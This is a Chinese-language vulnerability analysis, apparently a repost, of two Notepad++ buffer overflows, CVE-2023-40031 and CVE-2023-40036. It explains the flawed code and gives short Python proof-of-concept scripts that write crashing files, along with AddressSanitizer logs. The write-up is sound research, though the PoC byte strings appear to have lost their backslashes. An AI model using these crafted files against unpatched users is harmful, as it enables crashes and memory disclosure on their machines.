Notepad++两个缓冲区溢出漏洞分析

admin 2023年9月6日04:01:02评论9 views字数 4450阅读14分50秒阅读模式

CVE-2023-40031  Utf8_16_Read::convert (GHSL-2023-112) 堆溢出

UTF16(小端) 到UTF8 转换时 Utf8_16_Read::convert函数创建一个新缓冲区。UTF-16编码中,每个字符通常占用2个字节,下面是该函数块部分解释:

size_t Utf8_16_Read::convert(char* buf, size_t len)
{
    // bugfix by Jens Lorenz
    static  size_t nSkip = 0;

    m_pBuf = (ubyte*)buf; //将函数参数buf的地址转换为ubyte*类型并存储在类成员变量m_pBuf中。
    m_nLen = len;
    m_nNewBufSize = 0;

    ....

        case uni16LE: {
            size_t newSize = len + len / 2 + 1;// len / 2 表示字符数,再加上1用于存储终止null字符
            
            if (m_nAllocatedBufSize != newSize)//分配的缓冲区大小是否与新计算的大小不同
            {
                if (m_pNewBuf)
                    delete [] m_pNewBuf;
                m_pNewBuf  = NULL;
                m_pNewBuf  = new ubyte[newSize];
                m_nAllocatedBufSize = newSize;
            }
            
            ubyte* pCur = m_pNewBuf;//定义一个指向新缓冲区的指针 pCur,用于追踪写入新缓冲区的位置。
            
            //创建一个名为 m_Iter16 的迭代器,用于迭代处理输入数据。m_Iter16.set 函数初始化迭代器,设置输入数据的起始位置(m_pBuf + nSkip),以及剩余数据的长度(len - nSkip)和编码方式。
            m_Iter16.set(m_pBuf + nSkip, len - nSkip, m_eEncoding);

            while (m_Iter16)
            {
                ++m_Iter16;
                utf8 c;
                while (m_Iter16.get(&c)) //字符转换
                    *pCur++ = c;
            }
            m_nNewBufSize = pCur - m_pNewBuf;//计算实际转换后的数据大小,即新缓冲区中有效数据的长度

            break;
        }
        default:
            break;
    }

    // necessary for second calls and more
    nSkip = 0;

    return m_nNewBufSize;
}

问题出在size_t newSize = len + len / 2 + 1;在最坏的情况下,对于每两个UTF16编码的输入字节,可能需要三个UTF8字节。但是当输入的是字符是奇数字节长度,计算将停止。构造一个poc如下:

with open("poc", "wb") as f:
  f.write(b'xfexff') 
  f.write(b'xff' * (9))  

第二个 f.write 写入的数据长度为9字节,那么 newSize 就会变为14(9 + 9 / 2 + 1)字节。如果输入长度为奇数,++m_Iter16;最后一个字节将会在迭代之外,即 len 之后的位置。while (m_Iter16.get(&c)) 循环通过 m_Iter16 从UTF-16编码中获取一个字符,并将其转换为UTF-8字符。这一步的问题是,当 m_Iter16 已经超出了输入的有效数据范围,它可能会访问到无效的内存。

通过Notepad++ 的 ASAN ,查看堆溢出,也可以编译源码调试while (m_Iter16.get(&c))查看。

==8896==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x1281524e6472 at pc 0x7ff7308d686e bp 0x00a8c41da680 sp ...

SUMMARY: AddressSanitizer: heap-buffer-overflow C:nppPowerEditorsrcUtf8_16.cpp:181 in Utf8_16_Read::convert
Shadow bytes around the buggy address:
  0x04cd7c51cc30: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
  0x04cd7c51cc40: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
  0x04cd7c51cc50: fa fa 00 00 fa fa fd fd fa fa 00 00 fa fa fd fd
  0x04cd7c51cc60: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
  0x04cd7c51cc70: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x04cd7c51cc80: fa fa fd fd fa fa fd fd fa fa fd fd fa fa[02]fa
  0x04cd7c51cc90: fa fa fd fa fa fa fd fa fa fa 00 00 fa fa 04 fa
  0x04cd7c51cca0: fa fa 04 fa fa fa 01 fa fa fa 04 fa fa fa 01 fa
  0x04cd7c51ccb0: fa fa 01 fa fa fa 04 fa fa fa 00 fa fa fa 04 fa
  0x04cd7c51ccc0: fa fa 04 fa fa fa 04 fa fa fa 00 00 fa fa 04 fa
  0x04cd7c51ccd0: fa fa 04 fa fa fa 04 fa fa fa 04 fa fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
Address Sanitizer Error: Heap buffer overflow

CVE-2023-40036 全局缓冲区读取溢出

CharDistributionAnalysis::HandleOneChar

Notepad++ 使用了 uchardet ,该漏洞允许文件打开操作时读取超出全局分配的对象缓冲区的范围。

  //Feed a character with known length
  void HandleOneChar(const char* aStr, PRUint32 aCharLen)
  {
    PRInt32 order;

    //we only care about 2-bytes character in our distribution analysis
    order = (aCharLen == 2) ? GetOrder(aStr) : -1;

    if (order >= 0)
    {
      mTotalChars++;
      //order is valid
      if ((PRUint32)order < mTableSize) // [2]
      {
        if (512 > mCharToFreqOrder[order]) // [1] buffer read overflow
          mFreqChars++;
      }
    }
  }

order 取决于输入文件内容,并且可以设置为大于 mCharToFreqOrder 缓冲区大小的值。在 mTableSize 行之前有一个检查。然而,由于某种原因, EUCTWCharToFreqOrdermTableSize 被声明为 8102,所以可以构造:

with open("poc", "wb") as f:
  f.write(b'xfdxde')

poc,它设置为 5419,而 mCharToFreqOrder (指向全局数组 EUCTWCharToFreqOrder 的指针)的大小为 5376 。

==13==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000005f4c16 at pc 0x000000589f61 bp 0x7ffde5e554c0 sp 0x7ffde5e554b8
READ of size 2 at 0x0000005f4c16 thread T0
SCARINESS: 24 (2-byte-read-global-buffer-overflow-far-from-bounds)
    #0 0x589f60 in HandleOneChar /src/notepad-plus-plus/PowerEditor/src/uchardet/CharDistribution.h:69:19
    #1 0x589f60 in nsEUCTWProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsEUCTWProber.cpp:70:31
    #2 0x57e75c in nsMBCSGroupProber::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsMBCSGroupProber.cpp:160:25
    #3 0x57aadf in nsUniversalDetector::HandleData(char const*, unsigned int) /src/notepad-plus-plus/PowerEditor/src/uchardet/nsUniversalDetector.cpp:214:34
    #4 0x5796a8 in uchardet_handle_data /src/notepad-plus-plus/PowerEditor/src/uchardet/uchardet.cpp:89:63
    
    ....

测试版本文件可以从https://github.com/notepad-plus-plus/notepad-plus-plus/archive/refs/tags/v8.5.2.zip 获取

原文始发于微信公众号(TIPFactory情报工厂):Notepad++两个缓冲区溢出漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月6日04:01:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Notepad++两个缓冲区溢出漏洞分析https://cn-sec.com/archives/2031139.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息